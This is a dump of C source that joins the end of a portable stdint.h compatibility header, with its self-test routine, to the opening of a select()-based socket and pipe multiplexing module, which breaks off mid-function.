254 # define UINT32_C(x) (x + (UINT32_MAX - UINT32_MAX))
255 # endif
256 # if !defined (INT16_C)
257 # define INT16_C(x) (x)
258 # endif
259 # if !defined (UINT16_C)
260 # define UINT16_C(x) (x)
261 # endif
262 # if !defined (INT8_C)
263 # define INT8_C(x) (x)
264 # endif
265 # if !defined (UINT8_C)
266 # define UINT8_C(x) (x)
267 # endif
268 # if !defined (UINT64_MAX)
269 # define UINT64_MAX 18446744073709551615ULL
270 # endif
271 # if !defined (INT64_MAX)
272 # define INT64_MAX 9223372036854775807LL
273 # endif
274 # if !defined (UINT32_MAX)
275 # define UINT32_MAX 4294967295UL
276 # endif
277 # if !defined (INT32_MAX)
278 # define INT32_MAX 2147483647L
279 # endif
280 # if !defined (INTMAX_MAX)
281 # define INTMAX_MAX INT64_MAX
282 # endif
283 # if !defined (INTMAX_MIN)
284 # define INTMAX_MIN INT64_MIN
285 # endif
286 # endif
287 #endif
288
289 #ifndef _PSTDINT_H_INCLUDED
290 #define _PSTDINT_H_INCLUDED
291
292 #ifndef SIZE_MAX
293 # define SIZE_MAX (~(size_t)0)
294 #endif
295
296 /*
297 * Deduce the type assignments from limits.h under the assumption that
298 * integer sizes in bits are powers of 2, and follow the ANSI
299 * definitions.
300 */
301
302 #ifndef UINT8_MAX
303 # define UINT8_MAX 0xff
304 #endif
305 #ifndef uint8_t
306 # if (UCHAR_MAX == UINT8_MAX) || defined (S_SPLINT_S)
307 typedef unsigned char uint8_t;
308 # define UINT8_C(v) ((uint8_t) v)
309 # else
310 # error "Platform not supported"
311 # endif
312 #endif
313
314 #ifndef INT8_MAX
315 # define INT8_MAX 0x7f
316 #endif
317 #ifndef INT8_MIN
318 # define INT8_MIN INT8_C(0x80)
319 #endif
320 #ifndef int8_t
321 # if (SCHAR_MAX == INT8_MAX) || defined (S_SPLINT_S)
322 typedef signed char int8_t;
323 # define INT8_C(v) ((int8_t) v)
324 # else
325 # error "Platform not supported"
326 # endif
327 #endif
328
329 #ifndef UINT16_MAX
330 # define UINT16_MAX 0xffff
331 #endif
332 #ifndef uint16_t
333 #if (UINT_MAX == UINT16_MAX) || defined (S_SPLINT_S)
334 typedef unsigned int uint16_t;
335 # ifndef PRINTF_INT16_MODIFIER
336 # define PRINTF_INT16_MODIFIER ""
337 # endif
338 # define UINT16_C(v) ((uint16_t) (v))
339 #elif (USHRT_MAX == UINT16_MAX)
340 typedef unsigned short uint16_t;
341 # define UINT16_C(v) ((uint16_t) (v))
342 # ifndef PRINTF_INT16_MODIFIER
343 # define PRINTF_INT16_MODIFIER "h"
344 # endif
345 #else
346 #error "Platform not supported"
347 #endif
348 #endif
349
350 #ifndef INT16_MAX
351 # define INT16_MAX 0x7fff
352 #endif
353 #ifndef INT16_MIN
354 # define INT16_MIN INT16_C(0x8000)
355 #endif
356 #ifndef int16_t
357 #if (INT_MAX == INT16_MAX) || defined (S_SPLINT_S)
358 typedef signed int int16_t;
359 # define INT16_C(v) ((int16_t) (v))
360 # ifndef PRINTF_INT16_MODIFIER
361 # define PRINTF_INT16_MODIFIER ""
362 # endif
363 #elif (SHRT_MAX == INT16_MAX)
364 typedef signed short int16_t;
365 # define INT16_C(v) ((int16_t) (v))
366 # ifndef PRINTF_INT16_MODIFIER
367 # define PRINTF_INT16_MODIFIER "h"
368 # endif
369 #else
370 #error "Platform not supported"
371 #endif
372 #endif
373
374 #ifndef UINT32_MAX
375 # define UINT32_MAX (0xffffffffUL)
376 #endif
377 #ifndef uint32_t
378 #if (ULONG_MAX == UINT32_MAX) || defined (S_SPLINT_S)
379 typedef unsigned long uint32_t;
380 # define UINT32_C(v) v ## UL
381 # ifndef PRINTF_INT32_MODIFIER
382 # define PRINTF_INT32_MODIFIER "l"
383 # endif
384 #elif (UINT_MAX == UINT32_MAX)
385 typedef unsigned int uint32_t;
386 # ifndef PRINTF_INT32_MODIFIER
387 # define PRINTF_INT32_MODIFIER ""
388 # endif
389 # define UINT32_C(v) v ## U
390 #elif (USHRT_MAX == UINT32_MAX)
391 typedef unsigned short uint32_t;
392 # define UINT32_C(v) ((unsigned short) (v))
393 # ifndef PRINTF_INT32_MODIFIER
394 # define PRINTF_INT32_MODIFIER ""
395 # endif
396 #else
397 #error "Platform not supported"
398 #endif
399 #endif
400
401 #ifndef INT32_MAX
402 # define INT32_MAX (0x7fffffffL)
403 #endif
404 #ifndef INT32_MIN
405 # define INT32_MIN INT32_C(0x80000000)
406 #endif
407 #ifndef int32_t
408 #if (LONG_MAX == INT32_MAX) || defined (S_SPLINT_S)
409 typedef signed long int32_t;
410 # define INT32_C(v) v ## L
411 # ifndef PRINTF_INT32_MODIFIER
412 # define PRINTF_INT32_MODIFIER "l"
413 # endif
414 #elif (INT_MAX == INT32_MAX)
415 typedef signed int int32_t;
416 # define INT32_C(v) v
417 # ifndef PRINTF_INT32_MODIFIER
418 # define PRINTF_INT32_MODIFIER ""
419 # endif
420 #elif (SHRT_MAX == INT32_MAX)
421 typedef signed short int32_t;
422 # define INT32_C(v) ((short) (v))
423 # ifndef PRINTF_INT32_MODIFIER
424 # define PRINTF_INT32_MODIFIER ""
425 # endif
426 #else
427 #error "Platform not supported"
428 #endif
429 #endif
430
431 /*
432 * The macro stdint_int64_defined is temporarily used to record
433 * whether or not 64 integer support is available. It must be
434 * defined for any 64 integer extensions for new platforms that are
435 * added.
436 */
437
438 #undef stdint_int64_defined
439 #if (defined(__STDC__) && defined(__STDC_VERSION__)) || defined (S_SPLINT_S)
440 # if (__STDC__ && __STDC_VERSION >= 199901L) || defined (S_SPLINT_S)
441 # define stdint_int64_defined
442 typedef long long int64_t;
443 typedef unsigned long long uint64_t;
444 # define UINT64_C(v) v ## ULL
445 # define INT64_C(v) v ## LL
446 # ifndef PRINTF_INT64_MODIFIER
447 # define PRINTF_INT64_MODIFIER "ll"
448 # endif
449 # endif
450 #endif
451
452 #if !defined (stdint_int64_defined)
453 # if defined(__GNUC__)
454 # define stdint_int64_defined
455 __extension__ typedef long long int64_t;
456 __extension__ typedef unsigned long long uint64_t;
457 # define UINT64_C(v) v ## ULL
458 # define INT64_C(v) v ## LL
459 # ifndef PRINTF_INT64_MODIFIER
460 # define PRINTF_INT64_MODIFIER "ll"
461 # endif
462 # elif defined(__MWERKS__) || defined (__SUNPRO_C) || defined (__SUNPRO_CC) || defined (__APPLE_CC__) || defined (_LONG_LONG) || defined (_CRAYC) || defined (S_SPLINT_S)
463 # define stdint_int64_defined
464 typedef long long int64_t;
465 typedef unsigned long long uint64_t;
466 # define UINT64_C(v) v ## ULL
467 # define INT64_C(v) v ## LL
468 # ifndef PRINTF_INT64_MODIFIER
469 # define PRINTF_INT64_MODIFIER "ll"
470 # endif
471 # elif (defined(__WATCOMC__) && defined(__WATCOM_INT64__)) || (defined(_MSC_VER) && _INTEGRAL_MAX_BITS >= 64) || (defined (__BORLANDC__) && __BORLANDC__ > 0x460) || defined (__alpha) || defined (__DECC)
472 # define stdint_int64_defined
473 typedef __int64 int64_t;
474 typedef unsigned __int64 uint64_t;
475 # define UINT64_C(v) v ## UI64
476 # define INT64_C(v) v ## I64
477 # ifndef PRINTF_INT64_MODIFIER
478 # define PRINTF_INT64_MODIFIER "I64"
479 # endif
480 # endif
481 #endif
482
483 #if !defined (LONG_LONG_MAX) && defined (INT64_C)
484 # define LONG_LONG_MAX INT64_C (9223372036854775807)
485 #endif
486 #ifndef ULONG_LONG_MAX
487 # define ULONG_LONG_MAX UINT64_C (18446744073709551615)
488 #endif
489
490 #if !defined (INT64_MAX) && defined (INT64_C)
491 # define INT64_MAX INT64_C (9223372036854775807)
492 #endif
493 #if !defined (INT64_MIN) && defined (INT64_C)
494 # define INT64_MIN INT64_C (-9223372036854775808)
495 #endif
496 #if !defined (UINT64_MAX) && defined (INT64_C)
497 # define UINT64_MAX UINT64_C (18446744073709551615)
498 #endif
499
500 /*
501 * Width of hexadecimal for number field.
502 */
503
504 #ifndef PRINTF_INT64_HEX_WIDTH
505 # define PRINTF_INT64_HEX_WIDTH "16"
506 #endif
507 #ifndef PRINTF_INT32_HEX_WIDTH
508 # define PRINTF_INT32_HEX_WIDTH "8"
509 #endif
510 #ifndef PRINTF_INT16_HEX_WIDTH
511 # define PRINTF_INT16_HEX_WIDTH "4"
512 #endif
513 #ifndef PRINTF_INT8_HEX_WIDTH
514 # define PRINTF_INT8_HEX_WIDTH "2"
515 #endif
516
517 #ifndef PRINTF_INT64_DEC_WIDTH
518 # define PRINTF_INT64_DEC_WIDTH "20"
519 #endif
520 #ifndef PRINTF_INT32_DEC_WIDTH
521 # define PRINTF_INT32_DEC_WIDTH "10"
522 #endif
523 #ifndef PRINTF_INT16_DEC_WIDTH
524 # define PRINTF_INT16_DEC_WIDTH "5"
525 #endif
526 #ifndef PRINTF_INT8_DEC_WIDTH
527 # define PRINTF_INT8_DEC_WIDTH "3"
528 #endif
529
530 /*
531 * Ok, lets not worry about 128 bit integers for now. Moore's law says
532 * we don't need to worry about that until about 2040 at which point
533 * we'll have bigger things to worry about.
534 */
535
536 #ifdef stdint_int64_defined
537 typedef int64_t intmax_t;
538 typedef uint64_t uintmax_t;
539 # define INTMAX_MAX INT64_MAX
540 # define INTMAX_MIN INT64_MIN
541 # define UINTMAX_MAX UINT64_MAX
542 # define UINTMAX_C(v) UINT64_C(v)
543 # define INTMAX_C(v) INT64_C(v)
544 # ifndef PRINTF_INTMAX_MODIFIER
545 # define PRINTF_INTMAX_MODIFIER PRINTF_INT64_MODIFIER
546 # endif
547 # ifndef PRINTF_INTMAX_HEX_WIDTH
548 # define PRINTF_INTMAX_HEX_WIDTH PRINTF_INT64_HEX_WIDTH
549 # endif
550 # ifndef PRINTF_INTMAX_DEC_WIDTH
551 # define PRINTF_INTMAX_DEC_WIDTH PRINTF_INT64_DEC_WIDTH
552 # endif
553 #else
554 typedef int32_t intmax_t;
555 typedef uint32_t uintmax_t;
556 # define INTMAX_MAX INT32_MAX
557 # define UINTMAX_MAX UINT32_MAX
558 # define UINTMAX_C(v) UINT32_C(v)
559 # define INTMAX_C(v) INT32_C(v)
560 # ifndef PRINTF_INTMAX_MODIFIER
561 # define PRINTF_INTMAX_MODIFIER PRINTF_INT32_MODIFIER
562 # endif
563 # ifndef PRINTF_INTMAX_HEX_WIDTH
564 # define PRINTF_INTMAX_HEX_WIDTH PRINTF_INT32_HEX_WIDTH
565 # endif
566 # ifndef PRINTF_INTMAX_DEC_WIDTH
567 # define PRINTF_INTMAX_DEC_WIDTH PRINTF_INT32_DEC_WIDTH
568 # endif
569 #endif
570
571 /*
572 * Because this file currently only supports platforms which have
573 * precise powers of 2 as bit sizes for the default integers, the
574 * least definitions are all trivial. Its possible that a future
575 * version of this file could have different definitions.
576 */
577
578 #ifndef stdint_least_defined
579 typedef int8_t int_least8_t;
580 typedef uint8_t uint_least8_t;
581 typedef int16_t int_least16_t;
582 typedef uint16_t uint_least16_t;
583 typedef int32_t int_least32_t;
584 typedef uint32_t uint_least32_t;
585 # define PRINTF_LEAST32_MODIFIER PRINTF_INT32_MODIFIER
586 # define PRINTF_LEAST16_MODIFIER PRINTF_INT16_MODIFIER
587 # define UINT_LEAST8_MAX UINT8_MAX
588 # define INT_LEAST8_MAX INT8_MAX
589 # define UINT_LEAST16_MAX UINT16_MAX
590 # define INT_LEAST16_MAX INT16_MAX
591 # define UINT_LEAST32_MAX UINT32_MAX
592 # define INT_LEAST32_MAX INT32_MAX
593 # define INT_LEAST8_MIN INT8_MIN
594 # define INT_LEAST16_MIN INT16_MIN
595 # define INT_LEAST32_MIN INT32_MIN
596 # ifdef stdint_int64_defined
597 typedef int64_t int_least64_t;
598 typedef uint64_t uint_least64_t;
599 # define PRINTF_LEAST64_MODIFIER PRINTF_INT64_MODIFIER
600 # define UINT_LEAST64_MAX UINT64_MAX
601 # define INT_LEAST64_MAX INT64_MAX
602 # define INT_LEAST64_MIN INT64_MIN
603 # endif
604 #endif
605 #undef stdint_least_defined
606
607 /*
608 * The ANSI C committee pretending to know or specify anything about
609 * performance is the epitome of misguided arrogance. The mandate of
610 * this file is to *ONLY* ever support that absolute minimum
611 * definition of the fast integer types, for compatibility purposes.
612 * No extensions, and no attempt to suggest what may or may not be a
613 * faster integer type will ever be made in this file. Developers are
614 * warned to stay away from these types when using this or any other
615 * stdint.h.
616 */
617
618 typedef int_least8_t int_fast8_t;
619 typedef uint_least8_t uint_fast8_t;
620 typedef int_least16_t int_fast16_t;
621 typedef uint_least16_t uint_fast16_t;
622 typedef int_least32_t int_fast32_t;
623 typedef uint_least32_t uint_fast32_t;
624 #define UINT_FAST8_MAX UINT_LEAST8_MAX
625 #define INT_FAST8_MAX INT_LEAST8_MAX
626 #define UINT_FAST16_MAX UINT_LEAST16_MAX
627 #define INT_FAST16_MAX INT_LEAST16_MAX
628 #define UINT_FAST32_MAX UINT_LEAST32_MAX
629 #define INT_FAST32_MAX INT_LEAST32_MAX
630 #define INT_FAST8_MIN INT_LEAST8_MIN
631 #define INT_FAST16_MIN INT_LEAST16_MIN
632 #define INT_FAST32_MIN INT_LEAST32_MIN
633 #ifdef stdint_int64_defined
634 typedef int_least64_t int_fast64_t;
635 typedef uint_least64_t uint_fast64_t;
636 # define UINT_FAST64_MAX UINT_LEAST64_MAX
637 # define INT_FAST64_MAX INT_LEAST64_MAX
638 # define INT_FAST64_MIN INT_LEAST64_MIN
639 #endif
640
641 #undef stdint_int64_defined
642
643 /*
644 * Whatever piecemeal, per compiler thing we can do about the wchar_t
645 * type limits.
646 */
647
648 #if defined(__WATCOMC__) || defined(_MSC_VER) || defined (__GNUC__)
649 # include <wchar.h>
650 # ifndef WCHAR_MIN
651 # define WCHAR_MIN 0
652 # endif
653 # ifndef WCHAR_MAX
654 # define WCHAR_MAX ((wchar_t)-1)
655 # endif
656 #endif
657
658 /*
659 * Whatever piecemeal, per compiler/platform thing we can do about the
660 * (u)intptr_t types and limits.
661 */
662
663 #if defined (_MSC_VER) && defined (_UINTPTR_T_DEFINED)
664 # define STDINT_H_UINTPTR_T_DEFINED
665 #endif
666
667 #ifndef STDINT_H_UINTPTR_T_DEFINED
668 # if defined (__alpha__) || defined (__ia64__) || defined (__x86_64__) || defined (_WIN64)
669 # define stdint_intptr_bits 64
670 # elif defined (__WATCOMC__) || defined (__TURBOC__)
671 # if defined(__TINY__) || defined(__SMALL__) || defined(__MEDIUM__)
672 # define stdint_intptr_bits 16
673 # else
674 # define stdint_intptr_bits 32
675 # endif
676 # elif defined (__i386__) || defined (_WIN32) || defined (WIN32)
677 # define stdint_intptr_bits 32
678 # elif defined (__INTEL_COMPILER)
679 /* TODO -- what will Intel do about x86-64? */
680 # endif
681
682 # ifdef stdint_intptr_bits
683 # define stdint_intptr_glue3_i(a,b,c) a##b##c
684 # define stdint_intptr_glue3(a,b,c) stdint_intptr_glue3_i(a,b,c)
685 # ifndef PRINTF_INTPTR_MODIFIER
686 # define PRINTF_INTPTR_MODIFIER stdint_intptr_glue3(PRINTF_INT,stdint_intptr_bits,_MODIFIER)
687 # endif
688 # ifndef PTRDIFF_MAX
689 # define PTRDIFF_MAX stdint_intptr_glue3(INT,stdint_intptr_bits,_MAX)
690 # endif
691 # ifndef PTRDIFF_MIN
692 # define PTRDIFF_MIN stdint_intptr_glue3(INT,stdint_intptr_bits,_MIN)
693 # endif
694 # ifndef UINTPTR_MAX
695 # define UINTPTR_MAX stdint_intptr_glue3(UINT,stdint_intptr_bits,_MAX)
696 # endif
697 # ifndef INTPTR_MAX
698 # define INTPTR_MAX stdint_intptr_glue3(INT,stdint_intptr_bits,_MAX)
699 # endif
700 # ifndef INTPTR_MIN
701 # define INTPTR_MIN stdint_intptr_glue3(INT,stdint_intptr_bits,_MIN)
702 # endif
703 # ifndef INTPTR_C
704 # define INTPTR_C(x) stdint_intptr_glue3(INT,stdint_intptr_bits,_C)(x)
705 # endif
706 # ifndef UINTPTR_C
707 # define UINTPTR_C(x) stdint_intptr_glue3(UINT,stdint_intptr_bits,_C)(x)
708 # endif
709 typedef stdint_intptr_glue3(uint,stdint_intptr_bits,_t) uintptr_t;
710 typedef stdint_intptr_glue3( int,stdint_intptr_bits,_t) intptr_t;
711 # else
712 /* TODO -- This following is likely wrong for some platforms, and does
713 nothing for the definition of uintptr_t. */
714 typedef ptrdiff_t intptr_t;
715 # endif
716 # define STDINT_H_UINTPTR_T_DEFINED
717 #endif
718
719 /*
720 * Assumes sig_atomic_t is signed and we have a 2s complement machine.
721 */
722
723 #ifndef SIG_ATOMIC_MAX
724 # define SIG_ATOMIC_MAX ((((sig_atomic_t) 1) << (sizeof (sig_atomic_t)*CHAR_BIT-1)) - 1)
725 #endif
726
727 #endif
728
729 #if defined (__TEST_PSTDINT_FOR_CORRECTNESS)
730
731 /*
732 * Please compile with the maximum warning settings to make sure macros are not
733 * defined more than once.
734 */
735
736 #include <stdlib.h>
737 #include <stdio.h>
738 #include <string.h>
739
740 #define glue3_aux(x,y,z) x ## y ## z
741 #define glue3(x,y,z) glue3_aux(x,y,z)
742
743 #define DECLU(bits) glue3(uint,bits,_t) glue3(u,bits,=) glue3(UINT,bits,_C) (0);
744 #define DECLI(bits) glue3(int,bits,_t) glue3(i,bits,=) glue3(INT,bits,_C) (0);
745
746 #define DECL(us,bits) glue3(DECL,us,) (bits)
747
748 #define TESTUMAX(bits) glue3(u,bits,=) glue3(~,u,bits); if (glue3(UINT,bits,_MAX) glue3(!=,u,bits)) printf ("Something wrong with UINT%d_MAX\n", bits)
749
750 int main () {
751 DECL(I,8)
752 DECL(U,8)
753 DECL(I,16)
754 DECL(U,16)
755 DECL(I,32)
756 DECL(U,32)
757 #ifdef INT64_MAX
758 DECL(I,64)
759 DECL(U,64)
760 #endif
761 intmax_t imax = INTMAX_C(0);
762 uintmax_t umax = UINTMAX_C(0);
763 char str0[256], str1[256];
764
765 sprintf (str0, "%d %x\n", 0, ~0);
766
767 sprintf (str1, "%d %x\n", i8, ~0);
768 if (0 != strcmp (str0, str1)) printf ("Something wrong with i8 : %s\n", str1);
769 sprintf (str1, "%u %x\n", u8, ~0);
770 if (0 != strcmp (str0, str1)) printf ("Something wrong with u8 : %s\n", str1);
771 sprintf (str1, "%d %x\n", i16, ~0);
772 if (0 != strcmp (str0, str1)) printf ("Something wrong with i16 : %s\n", str1);
773 sprintf (str1, "%u %x\n", u16, ~0);
774 if (0 != strcmp (str0, str1)) printf ("Something wrong with u16 : %s\n", str1);
775 sprintf (str1, "%" PRINTF_INT32_MODIFIER "d %x\n", i32, ~0);
776 if (0 != strcmp (str0, str1)) printf ("Something wrong with i32 : %s\n", str1);
777 sprintf (str1, "%" PRINTF_INT32_MODIFIER "u %x\n", u32, ~0);
778 if (0 != strcmp (str0, str1)) printf ("Something wrong with u32 : %s\n", str1);
779 #ifdef INT64_MAX
780 sprintf (str1, "%" PRINTF_INT64_MODIFIER "d %x\n", i64, ~0);
781 if (0 != strcmp (str0, str1)) printf ("Something wrong with i64 : %s\n", str1);
782 #endif
783 sprintf (str1, "%" PRINTF_INTMAX_MODIFIER "d %x\n", imax, ~0);
784 if (0 != strcmp (str0, str1)) printf ("Something wrong with imax : %s\n", str1);
785 sprintf (str1, "%" PRINTF_INTMAX_MODIFIER "u %x\n", umax, ~0);
786 if (0 != strcmp (str0, str1)) printf ("Something wrong with umax : %s\n", str1);
787
788 TESTUMAX(8);
789 TESTUMAX(16);
790 TESTUMAX(32);
791 #ifdef INT64_MAX
792 TESTUMAX(64);
793 #endif
794
795 return EXIT_SUCCESS;
796 }
797
798 #endif
0 /* select_group.c
1 * By Ron
2 * Created August, 2008
3 *
4 * (See LICENSE.md)
5 */
6
7 #include <assert.h>
8 #include <stdio.h>
9 #include <string.h>
10
11 #ifdef WIN32
12 #include <winsock2.h>
13 #else
14 #include <netdb.h>
15 #include <unistd.h>
16 #include <arpa/inet.h>
17 #include <netinet/in.h>
18 #include <sys/select.h>
19 #include <sys/socket.h>
20 #include <sys/time.h>
21 #include <sys/types.h>
22 #endif
23
24 #include "memory.h"
25 #include "select_group.h"
26 #include "tcp.h"
27
28 /* People probably won't be using more than 32 sockets, so 32 should be a good number
29 * to avoid unnecessary realloc() calls. */
30 #define LIST_STARTING_SIZE 32
31 #define MAX_RECV 8192
32
33 /* Some macros to access elements within the numbered structure. */
34 #define SG_SOCKET(sg,i) sg->select_list[i]->s
35 #ifdef WIN32
36 #define SG_PIPE(sg,i) sg->select_list[i]->pipe
37 #endif
38 #define SG_TYPE(sg,i) sg->select_list[i]->type
39 #define SG_READY(sg,i) sg->select_list[i]->ready_callback
40 #define SG_RECV(sg,i) sg->select_list[i]->recv_callback
41 #define SG_LISTEN(sg,i) sg->select_list[i]->listen_callback
42 #define SG_ERROR(sg,i) sg->select_list[i]->error_callback
43 #define SG_CLOSED(sg,i) sg->select_list[i]->closed_callback
44 #define SG_WAITING(sg,i) sg->select_list[i]->waiting_for
45 #define SG_BUFFER(sg,i) sg->select_list[i]->buffer
46 #define SG_BUFFERED(sg,i) sg->select_list[i]->buffered
47 #define SG_IS_READY(sg,i) sg->select_list[i]->ready
48 #define SG_IS_ACTIVE(sg,i) sg->select_list[i]->active
49 #define SG_PARAM(sg,i) sg->select_list[i]->param
50
51 static int getlastsocketerror(int s)
52 {
53 #ifdef WIN32
54 int len = 4;
55 int val;
56 getsockopt(s, SOL_SOCKET, SO_ERROR, (char*)&val, &len);
57
58 return val;
59 #else
60 return getlasterror();
61 #endif
62 }
63
64 static select_t *find_select_by_socket(select_group_t *group, int s)
65 {
66 size_t i;
67 select_t *ret = NULL;
68
69 for(i = 0; i < group->current_size && !ret; i++)
70 if(SG_IS_ACTIVE(group, i) && SG_SOCKET(group, i) == s)
71 ret = group->select_list[i];
72
73 return ret;
74 }
75
76 select_group_t *select_group_create()
77 {
78 select_group_t *new_group = (select_group_t*) safe_malloc(sizeof(select_group_t));
79 memset(new_group, 0, sizeof(select_group_t));
80
81 new_group->select_list = safe_malloc(LIST_STARTING_SIZE * sizeof(select_t));
82 new_group->current_size = 0;
83 new_group->maximum_size = LIST_STARTING_SIZE;
84 new_group->timeout_callback = NULL;
85 new_group->timeout_param = NULL;
86
87 return new_group;
88 }
89
90 void select_group_destroy(select_group_t *group)
91 {
92 size_t i;
93
94 for(i = 0; i < group->current_size; i++)
95 {
96 if(SG_BUFFER(group, i))
97 {
98 memset(SG_BUFFER(group, i), 0, SG_WAITING(group, i));
99 safe_free(SG_BUFFER(group, i));
100 }
101 memset(group->select_list[i], 0, sizeof(select_t));
102 safe_free(group->select_list[i]);
103 }
104
105 memset(group->select_list, 0, group->maximum_size * sizeof(select_t*));
106 safe_free(group->select_list);
107
108 memset(group, 0, sizeof(select_group_t));
109 safe_free(group);
110 }
111
112 void select_group_add_socket(select_group_t *group, int s, SOCKET_TYPE_t type, void *param)
113 {
114 select_t *new_select;
115
116 if(find_select_by_socket(group, s))
117 DIE("Tried to add same socket to select_group more than once.");
118
119 new_select = (select_t*) safe_malloc(sizeof(select_t));
120 memset(new_select, 0, sizeof(select_t));
121 new_select->s = s;
122 new_select->type = type;
123 new_select->ready = FALSE;
124 new_select->active = TRUE;
125 new_select->param = param;
126
127 group->select_list[group->current_size] = new_select;
128 group->current_size++;
129 if(group->current_size >= group->maximum_size)
130 {
131 group->maximum_size = group->maximum_size * 2;
132 if(group->maximum_size > SOCKET_LIST_MAX_SOCKETS)
133 {
134 fprintf(stderr, "Too many sockets!\n");
135 exit(1);
136 }
137 group->select_list = safe_realloc(group->select_list, group->maximum_size * sizeof(select_t*));
138 }
139
140 if(s > group->biggest_socket)
141 group->biggest_socket = s;
142 }
143
144 #ifdef WIN32
145 void select_group_add_pipe(select_group_t *group, int identifier, HANDLE pipe, void *param)
146 {
147 select_t *new_select;
148
149 if(find_select_by_socket(group, identifier))
150 DIE("Tried to add same pipe to select_group more than once (or choose a poor identifier).");
151
152 new_select = (select_t*) safe_malloc(sizeof(select_t));
153 memset(new_select, 0, sizeof(select_t));
154 new_select->s = identifier;
155 new_select->pipe = pipe;
156 new_select->type = SOCKET_TYPE_PIPE;
157 new_select->active = TRUE;
158 new_select->param = param;
159
160 group->select_list[group->current_size] = new_select;
161 group->current_size++;
162 if(group->current_size >= group->maximum_size)
163 {
164 group->maximum_size = group->maximum_size * 2;
165 if(group->maximum_size > SOCKET_LIST_MAX_SOCKETS)
166 {
167 fprintf(stderr, "Too many sockets!\n");
168 exit(1);
169 }
170 group->select_list = safe_realloc(group->select_list, group->maximum_size * sizeof(select_t*));
171 }
172 }
173 #endif
174
175 select_ready *select_set_ready(select_group_t *group, int s, select_ready *callback)
176 {
177 select_t *select = find_select_by_socket(group, s);
178 select_ready *old = NULL;
179
180 if(select)
181 {
182 old = select->ready_callback;
183 select->ready_callback = callback;
184 }
185 return old;
186 }
187
188 select_recv *select_set_recv(select_group_t *group, int s, select_recv *callback)
189 {
190 select_t *select = find_select_by_socket(group, s);
191 select_recv *old = NULL;
192
193 if(select)
194 {
195 old = select->recv_callback;
196 select->recv_callback = callback;
197 }
198 return old;
199 }
200
201 select_listen *select_set_listen(select_group_t *group, int s, select_listen *callback)
202 {
203 select_t *select = find_select_by_socket(group, s);
204 select_listen *old = NULL;
205
206 if(select)
207 {
208 old = select->listen_callback;
209 select->listen_callback = callback;
210 }
211 return old;
212 }
213
214 select_error *select_set_error(select_group_t *group, int s, select_error *callback)
215 {
216 select_t *select = find_select_by_socket(group, s);
217 select_error *old = NULL;
218
219 if(select)
220 {
221 old = select->error_callback;
222 select->error_callback = callback;
223 }
224 return old;
225 }
226
227 select_closed *select_set_closed(select_group_t *group, int s, select_closed *callback)
228 {
229 select_t *select = find_select_by_socket(group, s);
230 select_closed *old = NULL;
231
232 if(select)
233 {
234 old = select->closed_callback;
235 select->closed_callback = callback;
236 }
237 return old;
238 }
239
240 select_timeout *select_set_timeout(select_group_t *group, select_timeout *callback, void *param)
241 {
242 select_timeout *old;
243 old = group->timeout_callback;
244 group->timeout_callback = callback;
245 group->timeout_param = param;
246
247 return old;
248 }
249
250 NBBOOL select_group_remove_socket(select_group_t *group, int s)
251 {
252 select_t *socket = find_select_by_socket(group, s);
253
254 if(socket)
255 socket->active = FALSE;
256
257 return (socket ? TRUE : FALSE);
258 }
259
260 NBBOOL select_group_remove_and_close_socket(select_group_t *group, int s)
261 {
262 tcp_close(s);
263 return select_group_remove_socket(group, s);
264 }
265
266 static SELECT_RESPONSE_t select_handle_response(select_group_t *group, int s, SELECT_RESPONSE_t response)
267 {
268 if(response == SELECT_OK)
269 {
270 /* printf("A-ok\n"); */
271 }
272 else if(response == SELECT_REMOVE)
273 {
274 select_group_remove_socket(group, s);
275 }
276 else if(response == SELECT_CLOSE_REMOVE)
277 {
278 select_group_remove_and_close_socket(group, s);
279 }
280 else
281 {
282 DIE("Unknown SELECT result was returned by a callback.");
283 }
284
285 return response;
286 }
287
288 static void handle_incoming_data(select_group_t *group, size_t i)
289 {
290 int s = SG_SOCKET(group, i);
291 uint8_t buffer[MAX_RECV];
292
293 /* SG_WAITING is set when we're buffering data. Doesn't work with Windows pipes. */
294 if(SG_WAITING(group, i))
295 {
296 /* Figure out how many bytes we're waiting on. */
297 size_t require = SG_WAITING(group, i) - SG_BUFFERED(group, i);
298
299 /* Read no more than what we need. */
300 int size = recv(s, buffer, require, 0);
301
302 if(SG_TYPE(group, i) == SOCKET_TYPE_DATAGRAM)
303 DIE("Tried to treat a DATAGRAM socket like a stream.");
304
305 /* Check for error */
306 if(size < 0)
307 {
308 if(SG_ERROR(group, i))
309 select_handle_response(group, s, SG_ERROR(group, i)(group, s, getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i)));
310 else
311 select_group_remove_and_close_socket(group, s);
312 }
313 else if(size == 0)
314 {
315 if(SG_CLOSED(group, i))
316 select_handle_response(group, s, SG_CLOSED(group, i)(group, s, SG_PARAM(group, i)));
317 else
318 select_group_remove_and_close_socket(group, s);
319 }
320 else
321 {
322 /* Copy the bytes just read into the buffer */
323 memcpy(SG_BUFFER(group, i) + SG_BUFFERED(group, i), buffer, size);
324
325 /* Increment the counter. */
326 SG_BUFFERED(group, i) = SG_BUFFERED(group, i) + size;
327
328 /* If we're finished buffering data, call the callback function and clear the buffer. */
329 if(SG_BUFFERED(group, i) > SG_WAITING(group, i))
330 DIE("Something caused data corruption (overflow?)");
331
332 if(SG_BUFFERED(group, i) == SG_WAITING(group, i))
333 {
334 select_handle_response(group, s, SG_RECV(group, i)(group, s, SG_BUFFER(group, i), SG_BUFFERED(group, i), NULL, -1, SG_PARAM(group, i)));
335 memset(SG_BUFFER(group, i), 0, SG_BUFFERED(group, i));
336 SG_BUFFERED(group, i) = 0;
337 }
338 }
339 }
340 else
341 {
342 #ifdef WIN32
343 if(SG_TYPE(group, i) == SOCKET_TYPE_STREAM || SG_TYPE(group, i) == SOCKET_TYPE_PIPE)
344 #else
345 if(SG_TYPE(group, i) == SOCKET_TYPE_STREAM)
346 #endif
347 {
348 ssize_t size;
349 NBBOOL success = TRUE;
350
351 #ifdef WIN32
352 /* If it's a stream, use tcp_recv; if it's a pipe, use ReadFile. */
353 if(SG_TYPE(group, i) == SOCKET_TYPE_STREAM)
354 {
355 size = tcp_recv(s, buffer, MAX_RECV);
356 }
357 else if(SG_TYPE(group, i) == SOCKET_TYPE_PIPE)
358 {
359 success = ReadFile(SG_PIPE(group, i), buffer, MAX_RECV, &size, NULL);
360 }
361 #else
362 size = read(s, buffer, MAX_RECV); /* read is better than recv, because it can handle stdin */
363 #endif
364
365 /* Handle error conditions. */
366 if(size < 0 || !success)
367 {
368 if(SG_ERROR(group, i))
